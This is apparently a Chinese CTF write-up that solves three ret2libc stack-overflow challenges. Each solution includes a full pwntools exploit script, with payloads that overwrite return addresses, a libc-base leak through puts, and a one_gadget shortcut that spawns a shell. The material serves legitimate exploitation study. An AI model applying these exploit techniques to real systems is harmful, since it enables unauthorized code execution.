文章目录
- 题目ret2libc1
- 题目ret2libc2
- 题目ret2libc3
题目ret2libc1
![[pwn] 5.ROP-ret2libc_system函数](https://file.cfanz.cn/uploads/png/2022/06/17/9/0a759D4VbD.png)
![[pwn] 5.ROP-ret2libc_系统安全_02](https://file.cfanz.cn/uploads/png/2022/06/17/9/e7P3X62Pe5.png)
![[pwn] 5.ROP-ret2libc_系统安全_03](https://file.cfanz.cn/uploads/png/2022/06/17/9/57baf5KdE8.png)
这里需要通过gets函数覆盖返回地址到system函数,并把/bin/sh作为system的参数。
由于是动态链接,所以需要把返回地址原本写system函数的地址改为system函数在plt表中的地址。
from pwn import *
elf = ELF("./ret2libc1")
sys_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
io = process("./ret2libc1")
io.recvline()
payload = b'a'*(108+4) + p32(sys_addr) + b'1111' + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()题目ret2libc2
相比于ret2libc1来说没有/bin/sh, 需要想到要往其中写入。这时就得想到.bss节可以写。
payload栈结构如下图。![在这里插入图片描述 [pwn] 5.ROP-ret2libc_system函数_04](https://file.cfanz.cn/uploads/png/2022/06/17/9/9VW1096L31.png)
from pwn import *
elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(sys_addr) + p32(buf_addr) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()或者通过pop、ret方法平衡栈![在这里插入图片描述 [pwn] 5.ROP-ret2libc_安全_05](https://file.cfanz.cn/uploads/png/2022/06/17/9/GBKaa94Da3.png)
from pwn import *
elf = ELF("ret2libc2")
sys_addr = elf.plt["system"]
gets_addr = 0x08048460
buf_addr = 0x0804a080
pop_ebx_ret_addr = 0x0804872f
io = process("./ret2libc2")
io.recvuntil("What do you think ?")
payload = b'a'*(108+4) + p32(gets_addr) + \
p32(pop_ebx_ret_addr) + p32(buf_addr) + \
p32(sys_addr) + p32(1) + p32(buf_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()题目ret2libc3
反编译代码![在这里插入图片描述 [pwn] 5.ROP-ret2libc_安全_06](https://file.cfanz.cn/uploads/png/2022/06/17/9/76880Q9373.png)
初始时main函数中的栈帧![在这里插入图片描述 [pwn] 5.ROP-ret2libc_安全_07](https://file.cfanz.cn/uploads/png/2022/06/17/9/UcFG0007MO.png)
调用printf_message函数中的strcpy函数时的栈帧![在这里插入图片描述 [pwn] 5.ROP-ret2libc_web安全_08](https://file.cfanz.cn/uploads/png/2022/06/17/9/6GQ064671b.png)
可以在第二个输入时构造payload,覆盖返回地址![在这里插入图片描述 [pwn] 5.ROP-ret2libc_系统安全_09](https://file.cfanz.cn/uploads/png/2022/06/17/9/B3H149Z019.png)
通过内存泄漏,找到puts函数的真实地址![请添加图片描述 [pwn] 5.ROP-ret2libc_linux_10](https://file.cfanz.cn/uploads/png/2022/06/17/9/F52dBQ9Z53.png)
找到libc里system函数和puts函数地址差,从而得到system函数的地址![在这里插入图片描述 [pwn] 5.ROP-ret2libc_安全_11](https://file.cfanz.cn/uploads/png/2022/06/17/9/T18016T744.png)
需要注意动态库每次装载时都会被装在到不同的地方,所以只能先获取system相对puts函数的偏移量。然后根据程序运行时得到的puts函数的真实地址得到system函数的真实地址。
通过pwndgb可以计算出第二次输入时需要覆盖的长度![请添加图片描述 [pwn] 5.ROP-ret2libc_安全_12](https://file.cfanz.cn/uploads/png/2022/06/17/9/E1P0ZH7M5O.png)
0xffffd010 - 0xffffd048 = -56,所以需要覆盖56+4=60个字节长度
system("/bin/sh")和system("sh")都可以执行shell,所以这里在程序里找到一个以sh结尾的地址作为system的参数
但是最后打不通,后来发现是libc文件的问题
linux下的命令ldd是列出动态库的依赖关系,发现用的是/lib/i386-linux-gnu/libc.so.6
from pwn import *
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./ret2libc3")
io.sendlineafter(b'Give me an address (in dec) :', str(elf.got['puts']))
io.recvuntil(b'The content of the address : ')
libcBase = int(io.recvuntil(b'\n', drop=True), 16) - libc.symbols['puts']
sh_addr = next(elf.search(b'sh\x00'))
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
# cyclic(n)填充n字节的垃圾数据
io.sendlineafter(b'Leave some message for me :', payload)
io.interactive()还有一个讨巧的方法,是用one_gadget来打,运气好的话可以打通![请添加图片描述 [pwn] 5.ROP-ret2libc_系统安全_13](https://file.cfanz.cn/uploads/png/2022/06/17/9/a21Ea3HY96.png)
one_gadget是找libc文件中可以执行shell的程序的软件,每条语句都会有限制条件,如果满足限制条件的话才能打通。
payload = flat(cyclic(60),libcBase+libc.symbols['system'], cyclic(4), sh_addr)
改成
payload = flat(cyclic(60),libcBase+0x3a80c)
挨个地址试一试










